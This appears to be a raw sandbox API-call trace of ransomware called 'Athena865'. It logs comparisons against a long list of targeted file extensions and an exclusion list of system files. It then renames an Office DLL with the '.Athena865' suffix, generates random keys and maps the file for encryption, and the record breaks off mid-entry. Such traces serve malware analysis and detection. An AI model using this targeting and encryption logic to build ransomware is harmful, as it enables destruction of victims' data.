lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0074.249] lstrlenW (lpString="cma") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0074.249] lstrlenW (lpString="cpd") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0074.249] lstrlenW (lpString="dacpac") returned 6 [0074.249] lstrcmpiW (lpString1="MS.DLL", lpString2="dacpac") returned 1 [0074.249] lstrlenW (lpString="dad") returned 3 [0074.249] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0074.249] lstrlenW (lpString="dadiagrams") returned 10 [0074.250] lstrcmpiW (lpString1="GELEMS.DLL", lpString2="dadiagrams") returned 1 [0074.250] lstrlenW (lpString="daschema") returned 8 [0074.250] lstrcmpiW (lpString1="LEMS.DLL", lpString2="daschema") returned 1 [0074.250] lstrlenW (lpString="db-journal") returned 10 [0074.250] lstrcmpiW (lpString1="GELEMS.DLL", lpString2="db-journal") returned 1 [0074.250] lstrlenW (lpString="db-shm") returned 6 [0074.250] lstrcmpiW (lpString1="MS.DLL", lpString2="db-shm") returned 1 [0074.250] lstrlenW (lpString="db-wal") returned 6 [0074.250] lstrcmpiW (lpString1="MS.DLL", lpString2="db-wal") returned 1 [0074.250] lstrlenW (lpString="dbc") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0074.250] lstrlenW (lpString="dbs") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0074.250] lstrlenW (lpString="dbt") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0074.250] lstrlenW (lpString="dbv") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0074.250] lstrlenW (lpString="dbx") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0074.250] lstrlenW (lpString="dcb") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0074.250] lstrlenW (lpString="dct") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0074.250] lstrlenW (lpString="dcx") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0074.250] lstrlenW (lpString="ddl") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0074.250] lstrlenW (lpString="dlis") returned 4 [0074.250] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0074.250] lstrlenW (lpString="dp1") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0074.250] lstrlenW (lpString="dqy") returned 3 [0074.250] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0074.250] lstrlenW (lpString="dsk") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0074.251] lstrlenW (lpString="dsn") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0074.251] lstrlenW (lpString="dtsx") returned 4 [0074.251] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0074.251] lstrlenW (lpString="dxl") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0074.251] lstrlenW (lpString="eco") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0074.251] lstrlenW (lpString="ecx") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0074.251] lstrlenW (lpString="edb") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0074.251] lstrlenW (lpString="epim") returned 4 [0074.251] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0074.251] lstrlenW (lpString="fcd") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0074.251] lstrlenW (lpString="fdb") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0074.251] lstrlenW (lpString="fic") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0074.251] lstrlenW (lpString="flexolibrary") returned 12 [0074.251] lstrlenW (lpString="fm5") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0074.251] lstrlenW (lpString="fmp") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0074.251] lstrlenW (lpString="fmp12") returned 5 [0074.251] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0074.251] lstrlenW (lpString="fmpsl") returned 5 [0074.251] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0074.251] lstrlenW (lpString="fol") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0074.251] lstrlenW (lpString="fp3") returned 3 [0074.251] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0074.252] lstrlenW (lpString="fp4") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0074.252] lstrlenW (lpString="fp5") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0074.252] lstrlenW (lpString="fp7") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0074.252] lstrlenW (lpString="fpt") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0074.252] lstrlenW (lpString="frm") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0074.252] lstrlenW (lpString="gdb") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0074.252] lstrlenW (lpString="gdb") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0074.252] lstrlenW (lpString="grdb") returned 4 [0074.252] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0074.252] lstrlenW (lpString="gwi") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0074.252] lstrlenW (lpString="hdb") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0074.252] lstrlenW (lpString="his") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0074.252] lstrlenW (lpString="ib") returned 2 [0074.252] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0074.252] lstrlenW (lpString="idb") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0074.252] lstrlenW (lpString="ihx") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0074.252] lstrlenW (lpString="itdb") returned 4 [0074.252] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0074.252] lstrlenW (lpString="itw") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0074.252] lstrlenW (lpString="jet") returned 3 [0074.252] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0074.252] lstrlenW (lpString="jtx") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0074.253] lstrlenW (lpString="kdb") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0074.253] lstrlenW (lpString="kexi") returned 4 [0074.253] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0074.253] lstrlenW (lpString="kexic") returned 5 [0074.253] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0074.253] lstrlenW (lpString="kexis") returned 5 [0074.253] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0074.253] lstrlenW (lpString="lgc") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0074.253] lstrlenW (lpString="lwx") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0074.253] lstrlenW (lpString="maf") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0074.253] lstrlenW (lpString="maq") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0074.253] lstrlenW (lpString="mar") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0074.253] lstrlenW (lpString="marshal") returned 7 [0074.253] lstrcmpiW (lpString1="EMS.DLL", lpString2="marshal") returned -1 [0074.253] lstrlenW (lpString="mas") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0074.253] lstrlenW (lpString="mav") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0074.253] lstrlenW (lpString="maw") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0074.253] lstrlenW (lpString="mdbhtml") returned 7 [0074.253] lstrcmpiW (lpString1="EMS.DLL", lpString2="mdbhtml") returned -1 [0074.253] lstrlenW (lpString="mdn") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0074.253] lstrlenW (lpString="mdt") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0074.253] lstrlenW (lpString="mfd") returned 3 [0074.253] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0074.254] lstrlenW (lpString="mpd") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0074.254] lstrlenW (lpString="mrg") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0074.254] lstrlenW (lpString="mud") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0074.254] lstrlenW (lpString="mwb") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0074.254] lstrlenW (lpString="myd") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0074.254] lstrlenW (lpString="ndf") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0074.254] lstrlenW (lpString="nnt") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0074.254] lstrlenW (lpString="nrmlib") returned 6 [0074.254] lstrcmpiW (lpString1="MS.DLL", lpString2="nrmlib") returned -1 [0074.254] lstrlenW (lpString="ns2") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0074.254] lstrlenW (lpString="ns3") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0074.254] lstrlenW (lpString="ns4") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0074.254] lstrlenW (lpString="nsf") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0074.254] lstrlenW (lpString="nv") returned 2 [0074.254] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0074.254] lstrlenW (lpString="nv2") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0074.254] lstrlenW (lpString="nwdb") returned 4 [0074.254] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0074.254] lstrlenW (lpString="nyf") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0074.254] lstrlenW (lpString="odb") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0074.254] lstrlenW (lpString="odb") returned 3 [0074.254] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0074.255] lstrlenW (lpString="oqy") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0074.255] lstrlenW (lpString="ora") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0074.255] lstrlenW (lpString="orx") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0074.255] lstrlenW (lpString="owc") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0074.255] lstrlenW (lpString="p96") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0074.255] lstrlenW (lpString="p97") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0074.255] lstrlenW (lpString="pan") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0074.255] lstrlenW (lpString="pdb") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0074.255] lstrlenW (lpString="pdm") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0074.255] lstrlenW (lpString="pnz") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0074.255] lstrlenW (lpString="qry") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0074.255] lstrlenW (lpString="qvd") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0074.255] lstrlenW (lpString="rbf") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0074.255] lstrlenW (lpString="rctd") returned 4 [0074.255] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0074.255] lstrlenW (lpString="rod") returned 3 [0074.255] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0074.255] lstrlenW (lpString="rodx") returned 4 [0074.255] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0074.255] lstrlenW (lpString="rpd") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0074.256] lstrlenW (lpString="rsd") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0074.256] lstrlenW (lpString="sas7bdat") returned 8 [0074.256] lstrcmpiW (lpString1="LEMS.DLL", lpString2="sas7bdat") returned -1 [0074.256] lstrlenW (lpString="sbf") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0074.256] lstrlenW (lpString="scx") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0074.256] lstrlenW (lpString="sdb") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0074.256] lstrlenW (lpString="sdc") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0074.256] lstrlenW (lpString="sdf") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0074.256] lstrlenW (lpString="sis") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0074.256] lstrlenW (lpString="spq") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0074.256] lstrlenW (lpString="te") returned 2 [0074.256] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0074.256] lstrlenW (lpString="teacher") returned 7 [0074.256] lstrcmpiW (lpString1="EMS.DLL", lpString2="teacher") returned -1 [0074.256] lstrlenW (lpString="tmd") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0074.256] lstrlenW (lpString="tps") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0074.256] lstrlenW (lpString="trc") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0074.256] lstrlenW (lpString="trc") returned 3 [0074.256] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0074.256] lstrlenW (lpString="trm") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0074.257] lstrlenW (lpString="udb") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0074.257] lstrlenW (lpString="udl") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0074.257] lstrlenW (lpString="usr") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0074.257] lstrlenW (lpString="v12") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0074.257] lstrlenW (lpString="vis") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0074.257] lstrlenW (lpString="vpd") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0074.257] lstrlenW (lpString="vvv") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0074.257] lstrlenW (lpString="wdb") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0074.257] lstrlenW (lpString="wmdb") returned 4 [0074.257] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0074.257] lstrlenW (lpString="wrk") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0074.257] lstrlenW (lpString="xdb") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0074.257] lstrlenW (lpString="xld") returned 3 [0074.257] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0074.257] lstrlenW (lpString="xmlff") returned 5 [0074.257] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0074.257] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL.Athena865") returned 65 [0074.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\logelems.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\logelems.dll.athena865"), dwFlags=0x1) returned 1 [0074.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGELEMS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\logelems.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.262] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1028000) returned 1 [0074.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.262] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.263] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.263] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.263] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfb2a0, lpName=0x0) returned 0x154 [0074.265] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfb2a0) returned 0x2d50000 [0074.320] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.324] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.324] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.324] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.333] CloseHandle (hObject=0x154) returned 1 [0074.333] CloseHandle (hObject=0x17c) returned 1 [0074.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.339] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2=".") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="..") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="windows") returned -1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="bootmgr") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="temp") returned -1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="pagefile.sys") returned -1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="boot") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="ids.txt") returned 1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="ntuser.dat") returned -1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="perflogs") returned -1 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2="MSBuild") returned -1 [0074.353] lstrlenW (lpString="LOGMODEL.MDL") returned 12 [0074.353] lstrcpyW (in: lpString1=0x241e89e, lpString2="LOGMODEL.MDL" | out: lpString1="LOGMODEL.MDL") returned="LOGMODEL.MDL" [0074.353] lstrlenW (lpString="LOGMODEL.MDL") returned 12 [0074.353] lstrlenW (lpString="Athena865") returned 9 [0074.353] lstrcmpiW (lpString1="MODEL.MDL", lpString2="Athena865") returned 1 [0074.353] lstrlenW (lpString=".dll") returned 4 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2=".dll") returned 1 [0074.353] lstrlenW (lpString=".lnk") returned 4 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2=".lnk") returned 1 [0074.353] lstrlenW (lpString=".ini") returned 4 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2=".ini") returned 1 [0074.353] lstrlenW (lpString=".sys") returned 4 [0074.353] lstrcmpiW (lpString1="LOGMODEL.MDL", lpString2=".sys") returned 1 [0074.353] lstrlenW (lpString="LOGMODEL.MDL") returned 12 [0074.354] lstrlenW (lpString="bak") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="bak") returned 1 [0074.354] lstrlenW (lpString="ba_") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="ba_") returned 1 [0074.354] lstrlenW (lpString="dbb") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="dbb") returned 1 [0074.354] lstrlenW (lpString="vmdk") returned 4 [0074.354] lstrcmpiW (lpString1=".MDL", lpString2="vmdk") returned -1 [0074.354] lstrlenW (lpString="rar") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="rar") returned -1 [0074.354] lstrlenW (lpString="zip") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="zip") returned -1 [0074.354] lstrlenW (lpString="tgz") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="tgz") returned -1 [0074.354] lstrlenW (lpString="vbox") returned 4 [0074.354] lstrcmpiW (lpString1=".MDL", lpString2="vbox") returned -1 [0074.354] lstrlenW (lpString="vdi") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="vdi") returned -1 [0074.354] lstrlenW (lpString="vhd") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="vhd") returned -1 [0074.354] lstrlenW (lpString="vhdx") returned 4 [0074.354] lstrcmpiW (lpString1=".MDL", lpString2="vhdx") returned -1 [0074.354] lstrlenW (lpString="avhd") returned 4 [0074.354] lstrcmpiW (lpString1=".MDL", lpString2="avhd") returned -1 [0074.354] lstrlenW (lpString="db") returned 2 [0074.354] lstrcmpiW (lpString1="DL", lpString2="db") returned 1 [0074.354] lstrlenW (lpString="db2") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="db2") returned 1 [0074.354] lstrlenW (lpString="db3") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="db3") returned 1 [0074.354] lstrlenW (lpString="dbf") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="dbf") returned 1 [0074.354] lstrlenW (lpString="mdf") returned 3 [0074.354] lstrcmpiW (lpString1="MDL", lpString2="mdf") returned 1 [0074.355] lstrlenW (lpString="mdb") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="mdb") returned 1 [0074.355] lstrlenW (lpString="sql") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="sql") returned -1 [0074.355] lstrlenW (lpString="sqlite") returned 6 [0074.355] lstrcmpiW (lpString1="EL.MDL", lpString2="sqlite") returned -1 [0074.355] lstrlenW (lpString="sqlite3") returned 7 [0074.355] lstrcmpiW (lpString1="DEL.MDL", lpString2="sqlite3") returned -1 [0074.355] lstrlenW (lpString="sqlitedb") returned 8 [0074.355] lstrcmpiW (lpString1="ODEL.MDL", lpString2="sqlitedb") returned -1 [0074.355] lstrlenW (lpString="xml") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="xml") returned -1 [0074.355] lstrlenW (lpString="$er") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="$er") returned 1 [0074.355] lstrlenW (lpString="4dd") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="4dd") returned 1 [0074.355] lstrlenW (lpString="4dl") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="4dl") returned 1 [0074.355] lstrlenW (lpString="^^^") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="^^^") returned 1 [0074.355] lstrlenW (lpString="abs") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="abs") returned 1 [0074.355] lstrlenW (lpString="abx") returned 3 [0074.355] lstrcmpiW (lpString1="MDL", lpString2="abx") returned 1 [0074.355] lstrlenW (lpString="accdb") returned 5 [0074.355] lstrcmpiW (lpString1="L.MDL", lpString2="accdb") returned 1 [0074.355] lstrlenW (lpString="accdc") returned 5 [0074.355] lstrcmpiW (lpString1="L.MDL", lpString2="accdc") returned 1 [0074.355] lstrlenW (lpString="accde") returned 5 [0074.355] lstrcmpiW (lpString1="L.MDL", lpString2="accde") returned 1 [0074.355] lstrlenW (lpString="accdr") returned 5 [0074.355] lstrcmpiW (lpString1="L.MDL", lpString2="accdr") returned 1 [0074.355] lstrlenW (lpString="accdt") returned 5 [0074.356] lstrcmpiW (lpString1="L.MDL", lpString2="accdt") returned 1 [0074.356] lstrlenW (lpString="accdw") returned 5 [0074.356] lstrcmpiW (lpString1="L.MDL", lpString2="accdw") returned 1 [0074.356] lstrlenW (lpString="accft") returned 5 [0074.356] lstrcmpiW (lpString1="L.MDL", lpString2="accft") returned 1 [0074.356] lstrlenW (lpString="adb") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="adb") returned 1 [0074.356] lstrlenW (lpString="adb") returned 3 [0074.356] 